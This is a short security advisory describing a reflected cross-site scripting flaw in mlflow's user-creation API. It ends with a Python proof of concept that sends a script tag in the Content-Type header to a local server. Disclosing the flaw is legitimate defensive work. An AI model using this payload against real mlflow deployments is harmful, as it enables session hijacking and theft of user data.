Overview
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). An attacker can inject code into the Content-Type header of a POST request, which is then reflected back to the user without proper sanitization or escaping. This can lead to compromising user sessions, stealing sensitive information, or performing other malicious actions on the user's behalf.
PoC
from requests import post
url = 'http://127.0.0.1:5000/api/2.0/mlflow/users/create'
headers = {
'Content-Type': '<script>alert(document.domain)</script>',
}
resp = post(url, headers=headers).text
print(resp)
